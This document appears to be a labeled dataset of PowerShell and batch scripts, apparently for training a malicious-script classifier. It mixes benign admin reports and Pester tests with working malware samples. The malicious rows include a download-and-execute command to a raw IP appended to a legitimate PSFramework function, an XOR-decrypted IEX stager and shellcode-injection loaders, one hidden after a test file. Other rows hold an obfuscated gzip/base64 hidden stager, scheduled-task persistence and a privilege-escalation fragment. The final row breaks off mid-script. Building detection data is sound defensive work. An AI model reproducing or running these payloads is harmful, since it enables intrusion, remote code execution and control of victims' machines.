"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_n1glecn8"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 100 DisplayName, Enabled, Direction, Action, Profile | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_enabled_rules.txt"") -Encoding UTF8 enter Write-Host ""Starting software_inventory section 2."" enter Get-AppxPackage | enter Select-Object -First 200 Name, Version, Publisher | enter Export-Csv -Path (Join-Path $ReportDir ""software_appx_packages.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.395173e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_vek7elcw"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-PSDrive -PSProvider FileSystem | enter Select-Object Name, Root, Used, Free, Description | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_psdrive.txt"") -Encoding UTF8 enter Get-NetAdapter | enter Select-Object Name, InterfaceDescription, Status, LinkSpeed, MacAddress | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_adapter.txt"") -Encoding UTF8 enter",0,0,0.99996567,3.4327233e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""health_report_j71cm15u"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process | enter Sort-Object Handles -Descending | enter Select-Object -First 15 Name, Id, CPU, WorkingSet64 | enter Export-Csv -Path (Join-Path $ReportDir ""process_top_handles_15.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999665,3.3548193e-05
"win+r enter powershell enter enter enter function New-PSFLicense enter { enter enter [CmdletBinding(SupportsShouldProcess = $true, ConfirmImpact = 'Low', HelpUri = 'https://psframework.org/documentation/commands/PSFramework/New-PSFLicense')] enter [OutputType([PSFramework.License.License])] enter param enter ( enter [Parameter(Mandatory = $true)] enter [String] enter $Product, enter enter [String] enter $Manufacturer = ""ACME ltd."", enter enter [Version] enter $ProductVersion = ""1.0.0.0"", enter enter [Parameter(Mandatory = $true)] enter [PSFramework.License.ProductType] enter $ProductType, enter enter [String] enter $Name = ""Unknown"", enter enter [Version] enter $Version = ""1.0.0.0"", enter enter [DateTime] enter $Date = (Get-Date -Year 1989 -Month 10 -Day 3 -Hour 0 -Minute 0 -Second 0), enter enter [PSFramework.License.LicenseType] enter $Type = ""Free"", enter enter [Parameter(Mandatory = $true)] enter [String] enter $Text, enter enter [string] enter $Description, enter enter [PSFramework.License.License] enter $Parent enter ) enter $license = New-Object PSFramework.License.License -Property @{ enter Product = $Product enter Manufacturer = $Manufacturer enter ProductVersion = $ProductVersion enter ProductType = $ProductType enter LicenseName = $Name enter LicenseVersion = $Version enter LicenseDate = $Date enter LicenseType = $Type enter LicenseText = $Text enter Description = $Description enter Parent = $Parent enter } enter if ($PSCmdlet.ShouldProcess(""$($license.Product) $($license.ProductVersion) ($($license.LicenseName))"", ""Create License"")) enter { enter if (-not ([PSFramework.License.LicenseHost]::Get($license))) enter { enter [PSFramework.License.LicenseHost]::Add($license) enter } enter enter return $license enter } enter } enter enter (New-Object System.Net.WebClient).DownloadFile('http://89.248.170.218/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.6920173e-05,0.999943
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_6nuozv7r"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting software_inventory section 1."" enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 150 HotFixID, Description, InstalledBy, InstalledOn | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_hotfixes.json"") -Encoding UTF8 enter Write-Host ""Starting disk_checks section 2."" enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 4 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter Export-Csv -Path (Join-Path $ReportDir ""disk_logical_disk.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4374214e-05
"win+r powershell enter function Get-System { [CmdletBinding(DefaultParameterSetName = 'NamedPipe')] enter param( [Parameter(ParameterSetName = ""NamedPipe"")] [Parameter(ParameterSetName enter = ""Token"")] [String] [ValidateSet(""NamedPipe"", ""Token"")] $Technique = 'Named enter Pipe', [Parameter(ParameterSetName = ""NamedPipe"")] [String] enter enter",1,1,0.002546822,0.99745315
win+r enter cmd enter enter enter @echo off enter start %USERPROFILE%\Downloads\psiphon3.exe enter timeout /t 20 >nul 2>&1 enter Taskkill /IM msedge.exe /F >nul 2>&1 enter Taskkill /IM psiphon3.exe /F >nul 2>&1 enter Taskkill /IM psiphon-tunnel-core.exe /F >nul 2>&1 enter enter,1,1,0.00010431364,0.9998957
"$3qn7zs4mbeo19hc = ""J79nY245dHllNXF/eNbQMyU6cG1hNXFqOMXp+SbHxI4oz+BgOExuZm4ydHlh enter fSUhbHhcUUB9ODWNDxwSLGHZvl0EPV543bdvsh8KAcfWVZonkQiXuBB15ye7ZuEo/b2YCT1HCaLKF7wI enter pAwmvtmr+ad0z8VzXiDVmGyzTsXnomoKmEBA/q0jVWcR/iFENF0jZYEMG+YpFelQyL/b5af2KkjbGq8e enter mtrw49OxkBP2TY7Ckpfs9bj6AnY3ig38VEt7250PTZAl88bIcMrFCpuJjtGT5yTXytv3dTtTNZKSwfa9 enter igeXe/GYzxDBlT6d8Aa9Y4g5HdbB9f7qot3KE0qH8lvO4jX4pw7v8ZfcG5ZO/TyuwlWdhsjniHe7gqJk enter TEyFUOtkXpnqimIaw6MUdvs81wtCyt5MVsfbjJkSg/AfkOq15JQGoFHD7lfBJf5GkMaHkjZZ/A+HdLIu enter Lww95FUOe/8ISQjkfa7D8/Lfu1fjRld6cFjNivUfZiWwZA7VAOuAnwyJXG7M14x9xvWrmRZIrhc6pAZ8 enter F6r6pg1jcN9JuDUH19bdqS9cRHIqxDXtapPdzz1Q10HGuRNJsccQoQyqb92TEJT74I+3NHfnov3Q9J9K enter Xkt48plHUr6hA5fiSupjVyLb7B1ahVtEXm45Qzus+9i7dwEJg/yhkxw2GIG6+3mD6EZ4BlSJIZWeBQHW enter BY6dxJAgXleY6JlcccfJ8xny/ZTDjgrikUrILU0m6AbUIsBXuYpUZRoeCmUzWHXoHkw+kHHr/RFS6qp1 enter hGTrdamfLN0PRvWzVlYftTmLEDFV9crRkMEbprWfQUxFrhlBiaYUbkwVZF4cgcWzWNhx+oPjY7naopG2 enter o5kT2ClgWoPzfFKGQhOi enter",1,1,6.2608975e-05,0.9999374
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_opnne3dj"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""USB"" } | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_usb_related_pnp.json"") -Encoding UTF8 enter Write-Host ""Starting system_inventory section 2."" enter $Info = Get-ComputerInfo enter $Boot = $Info.OsLastBootUpTime enter $Now = Get-Date enter $Uptime = New-TimeSpan -Start $Boot -End $Now enter [PSCustomObject]@{ ComputerName=$env:COMPUTERNAME; LastBoot=$Boot; UptimeHours=[math]::Round($Uptime.TotalHours,3) } | enter Export-Csv -Path (Join-Path $ReportDir ""uptime_summary.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.437054e-05
"win+r powershell enter $Wc=NEW-ObJEct SysTEm.NET.WEBClIenT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trid enter ent/7.0; rv:11.0) like Gecko';$WC.HeADeRs.AdD('User-Agent',$u);$wC.PrOxy = [SYST enter eM.NeT.WeBREQuEst]::DEfaUltWeBProXY;$WC.PRoxy.CRedEnTialS = [SYsTEm.NET.CReDeNTI enter ALCAcHE]::DEFAULtNETWOrKCREdEntIALs;$K='e8f9578e2966fb2fa1ed5a0b15a4531c';$i=0;[ enter cHar[]]$b=([chaR[]]($wc.DOWnlOaDStRINg(""http://10.89.208.189:4465/index.asp"")))| enter %{$_-BXoR$K[$i++%$k.LENGTH]};IEX ($B-JOIN'') enter enter",1,1,5.643262e-05,0.9999436
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""workstation_report_waf5xl9j"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName System -MaxEvents 100 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_errors_100.txt"") -Encoding UTF8 enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 4 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter Export-Csv -Path (Join-Path $ReportDir ""disk_logical_disk.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.421337e-05
"win+r enter powershell enter enter enter Describe 'Tests for indexers' -Tags ""CI"" { enter It 'Indexer in dictionary' { enter enter $hashtable = @{ ""Hello""=""There"" } enter $hashtable[""Hello""] | Should -BeExactly ""There"" enter } enter enter It 'Accessing a Indexed property of a dictionary that does not exist should return $NULL' { enter $hashtable = @{ ""Hello""=""There"" } enter $hashtable[""Hello There""] | Should -BeNullOrEmpty enter } enter enter It 'Wmi object implements an indexer' -Skip:$IsCoreCLR { enter enter $service = Get-WmiObject -List -Amended Win32_Service enter enter $service.Properties[""DisplayName""].Name | Should -BeExactly 'DisplayName' enter } enter enter It 'Accessing a Indexed property of a wmi object that does not exist should return $NULL' -skip:$IsCoreCLR { enter enter $service = Get-WmiObject -List -Amended Win32_Service enter $service.Properties[""Hello There""] | Should -BeNullOrEmpty enter } enter enter It 'ITuple implementations can be indexed' { enter $tuple = [Tuple]::Create(10, 'Hello') enter $tuple[0] | Should -Be 10 enter $tuple[1] | Should -BeExactly 'Hello' enter } enter enter It 'ITuple objects can be spliced' { enter $tuple = [Tuple]::Create(10, 'Hello') enter $tuple[0..1] | Should -Be @(10, 'Hello') enter } enter enter It 'Index of -1 should return the last item for ITuple objects' { enter $tuple = [Tuple]::Create(10, 'Hello') enter $tuple[-1] | Should -BeExactly 'Hello' enter } enter } enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0x6d,0x99,0xab,0x2f,0x68,0x02,0x00,0x11,0x5c,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x3f,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0xe9,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0xc3,0x01,0xc3,0x29,0xc6,0x75,0xe9,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1886218e-05,0.99994814
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_euhlpetx"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting software_inventory section 1."" enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter Export-Csv -Path (Join-Path $ReportDir ""software_installed_programs.csv"") -NoTypeInformation enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_admins.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999652,3.4844194e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""v31_repair_report_event_log_review_i8alka9udg"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName System -MaxEvents 50 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"",""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""system_events_30.csv"") -NoTypeInformation enter",0,0,0.99996686,3.310844e-05
"win+r powershell enter  [CmdletBinding(SupportsShouldProcess=$true)] param( [parameter(Mandatory=$tru enter e, HelpMessage=""Site server where the SMS Provider is installed."")] [ValidateNo enter tNullOrEmpty()] [ValidateScript({Test-Connection -ComputerName $_ -Count 1 -Qui enter et})] [string]$SiteServer, [parameter(Mandatory=$true, HelpMessage=""Specify a enter Configuration Manager version that should be installed. Valid format is e.g. 16 enter 02 or 1606."")] [ValidateNotNullOrEmpty()] [ValidateScript({$_.Length -eq 4})] enter [string]$Version, enter enter",1,1,0.010954576,0.9890455
"win+r powershell enter $a = ""C:\ProgramData\PDF"" New-Item $a -ItemType Directory -Force Sleep 1 $Co enter ntent = @' try { &'schtasks.exe' '/create' '/sc' 'minute' '/mo' 2 '/tn' 'PDF' enter '/tr' (('C:\ProgramData\PDF\PDF.vbs')); enter enter",1,1,8.521785e-05,0.99991477
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""health_report_t0mdgpeu"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process | enter Sort-Object WorkingSet64 -Descending | enter Select-Object -First 30 Name, Id, CPU, WorkingSet64, Handles | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_memory_30.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.3950884e-05
"win+r enter powershell enter enter enter if([IntPtr]::Size -eq 4){$b=$env:windir+'\sysnative\WindowsPowerShell\v1.0\powershell.exe'}else{$b='powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(((''H4sIAI6tTWQCA7VX/2+iyhb//Sb3fyA3JmJqBVvr2k02eYOC4KorRcEv17xQGGHqCCwMVbzv/u/vDOq2zXZv9r1kJ01kZs''+''7Xzz{1}nzukmjzxG4kjIv9w6w{1}+//yac18RN3Z0gVmJ9VBcqB7X2c{1}VhNzgRPgniCiVJL965JFp//NjN0xRH7LRv9DFDWYZ3j5TgTKwJ/xGcEKf4+svjE/aY8JdQ+XejT+NH{1}57Jiq7rhVi4RpHP74ax53K7G{1}ZCCROrf/5Zra2um+uG+jV3aSZWrSJjeNfwKa3WhL9rXOG0SLBYHREvjbN4wxoOiW5vGrMoczd4DNKe8Q''+''izMPazKjjz4k6KWZ5GJ6+4mBORWIXPSRp7yPdTnGXVurDiC{1}br9b/E1Vn7Qx4xssMNI2I4jRMLp8/Ew1{1}DdyOf4ge8WQOXxVISBetaDcie4y0W''+''K1FOaV34X8SIY7y/YPezTOJrJqCasLRWh4i+4+co9nOKT5zVdwz{1}WVCDdcoEQO9vDuDmkjvJ9J3MeTm4rFV5g8FccRJnpGT9JMh1YQSKXRanBWwr0zTHtfU3sIXKM33Ybus/K6554QXOpxYcrOyY+OsX9jexrxyW95zmx4ncwxsS4V4RuTviXXJVfC8eeENxiUfjQjYG88Tq+QL7PUxx4''+''DKOME+L79jUHWHfeJWcUB+nyIOYZmAVhLv21phT0MSqEY3''+''wDsA77SFPKxuoEHyhP{1}dFcdHO90BU7VI3y+rCJIcS''+''9eqChV2K/bqAooycr1DO4vKz+mLuKKeMeG7GLuLWtbdonrV24yhjae5BVAGBqZVgj7iUA1IXdOJjpbBIcNFef''+''ReOrkspFA5IeoZwwAmHwWI8V1Iw9JQXtYaFmbFLKN4BUf{1}kaNQN''+''4IE410eZXW6A/er7h{1}6q4JTyHJgLIq/MhGhbNGZ1wSYpg/eHg/zU+v9s+P7h4cZ0U3yOjXgpr5VSMF4B{1}cLmKXoGqIQjZQCF{1}sY7xc1wu3V6YcQ/JJX07ia9+IhgqdqDa''+''SvWzF''+''4aI39ALYNZC5UMZ2FokKYRWOjq1tomBrkdmNOpPrB6Okp7h3CDjMxQdaUwmwrydPLBHpT0RDY6FtLNZay1+ijrmrY6CecGKOoOAyOAX8UIPUVeyoEiq9bQ7HaH{1}hKa{1}qmbrebSkDp0PPKoQo6WAXIcrs/09EHPPYAetdXS54cpGo8GKNS++FrzRgtVIqMt519u+8OeWu49vjcXmUpUrkdbmHaIHTtRHFVbm''+''nZiBFf7wLSHUksLFTg3yGGYWBKsZnPwHPnHEe0cR2CuaS8HBC+NABcBMhGyFhG1HvddpN7tnfHC7c60GZxtp0Z0MB+TkV8sdOneHhGcxMhUEdIo{1}OgOufue1HTiz6Z9Z85U+VDM5''+''MNefZL2Khnst+ffWb/dDqRNayLZ{1}hHpbqiAvcWgtSWDK7jbuba82Eg2x6+7jaRjNKdtpaNwTMEfE3gIj5EbPADfiQexyJhLkh1IAeq17hgPuWVMVENrD+5j/aaD5nkhF+MoQFzOVxPwcRH3VC{1}{1}dLYB2NpvO58fpncbbtfNApIG/naD2+bYOfmyG3SA9mb7Vmepx5i0kC7HgPvccUoIAdPwK9ISJQ+y594RcLH9JWDXfNw2Q8BuIHU+JMYEYgE5speD5BA5R8D4at6kijPTnLbCvVAe3ViyIyPMj326t1nh35GjMwd792Db1ef0aq/PP0D+PJqm4SGOb9wj''+''vb3hadv+Zw38C0NzYS6CGZp8QD4eQ/4/X+1VtavDHQ{1}NZC4Ws77aNzgtKmnjma''+''qqe3UWSfvZk1TM549zWZfumtwfOjh0h''+''nvmDhzpfvbpDyjP1YxE7PZmXaH37SVvYb//VsnVV0X6o948ctMsdCkULzTdy''+''wuqxa{''+''1}27qSTmHAOUSynsS1OI0xhhIEh5/LyIEpj''+''j7dx6LkwQJzaOp8yZkZp0ntfNeEbYe2{1}uV''+''+OPn5cgo3w{1}hV2Y4ijgIV1+XAry9CX5YPcK{1}+sn/erGyeFCKLqvK8''+''DKCe5tJ''+''QLoshGEMVfjxLMb''+''Qy6yI9w+hFkoHkLTz70oNNDzIFT4pi+hq306VsCvGAGYDXB5RWf1sq8AO5r/BXGSj7PvJ6PKji22782Wc7dJIQf/5+T5eXsH25/KoHkOofmu8O3B6968C9033EJA''+''0oLmiLFpyntPRTO1fEqtjwykP2b8+L/tnzJ2fUYxuCyKf8Xsg3oxy4NAAA{0}'')-f''='',''l'')))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s); enter enter [decoded_payloads] enter [decoded:long_base64_literal] enter 謟 궎摍̂垵濿쪢６⛽翷㜠戦ժ䷚礶芃ꫠ䔫⿁볗ᡐⰈ唌೯뛪盍撽䴧晤 enter enter [decoded:long_base64_literal] enter á¢7ô Ø5¹PÆv ‰ enter a ŽŽ­m¢`k‘ٍ:“ë £¤§¸w 8ÌÅ ZS °¯'O, éODCc¡m,ÖZË_¢Ž¹«c žpbŽ à28 üPƒÔUì¨ *½m Çh enter enter [decoded:long_base64_literal] enter t¶ ØÚo;Ÿ ¦w n×Í ’ þvƒÛæØ9ù² t€öfûVg©Ç˜´.ǀûÜqJ Óð+Ò % ²çÞ p±ý%`×|Ü6CÀn u>$Æ b 9²—ƒä 9GÀøjÞ¤Š3Ӝ¶Â½P ÝX²##̏}º·Yáߑ£3 {÷`ÛÕçôj¯Ï?@þ<š¦á!ŽoÜ# enter enter [decoded:long_base64_literal] enter C.²#Ü>„Y( BÓϽ(4Ðó Tø¦/¡«}:VÀ¯ ˜ enter pyEgõ²¯;šÿ q’³ï'£ÊŽ-¶ï͖s·I! ÿçäùy{ ÛŸÊ y ¡ù®ðíÁëÞ¼ Ý7ÜB@ enter enter",1,1,5.563734e-05,0.9999443
"win+r enter powershell enter enter enter Set-StrictMode -Version Latest enter enter Describe ""Testing Set-ItResult"" { enter It ""This test should be inconclusive"" { enter try { enter Set-ItResult -Inconclusive -Because ""we are setting it to inconclusive"" enter } enter catch { enter $_.FullyQualifiedErrorID | Should -Be ""PesterTestInconclusive"" enter } enter } enter enter It ""This test should be pending"" { enter try { enter Set-ItResult -Pending -Because ""we are forcing it to pending"" enter } enter catch { enter $_.FullyQualifiedErrorID | Should -Be ""PesterTestPending"" enter } enter } enter enter It ""This test should be skipped"" { enter try { enter Set-ItResult -Skipped -Because ""we are forcing it to skip"" enter } enter catch { enter $_.FullyQualifiedErrorID | Should -Be ""PesterTestSkipped"" enter } enter } enter enter It ""Set-ItResult can be called without -Because"" { enter try { enter Set-ItResult -Skipped enter } enter catch { enter $_.FullyQualifiedErrorID | Should -Be ""PesterTestSkipped"" enter } enter } enter enter It ""Set-ItResult has to have a switch indicating what to set it to"" { enter { Set-ItResult -Because ""testing with no switch"" } | Should -Throw -Because ""the expected state is not selected"" enter } enter enter It ""Set-ItResult cannot be called with two states requested"" { enter { Set-ItResult -Inconclusive -Skipped } | Should -Throw -Because ""two states are requested"" enter } enter } enter enter",0,0,0.999949,5.1005998e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_rwjrgwsq"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Inbound"" } | enter Select-Object -First 200 DisplayName, Enabled, Direction, Action, Profile | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_inbound.json"") -Encoding UTF8 enter Get-ComputerInfo | enter Select-Object CsName, BiosFirmwareType, BiosSeralNumber, OsArchitecture, OsLocale | enter Export-Csv -Path (Join-Path $ReportDir ""computer_info_report.csv"") -NoTypeInformation enter",0,0,0.9999658,3.4258363e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_7ob5vkrg"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName Application -MaxEvents 100 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_application_errors_100.txt"") -Encoding UTF8 enter Write-Host ""Starting disk_checks section 2."" enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 4 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_logical_disk.txt"") -Encoding UTF8 enter",0,0,0.9999654,3.4573237e-05
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x01,0x8e,0x68,0x02,0x00,0x15,0xb3,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x75,0xee,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) 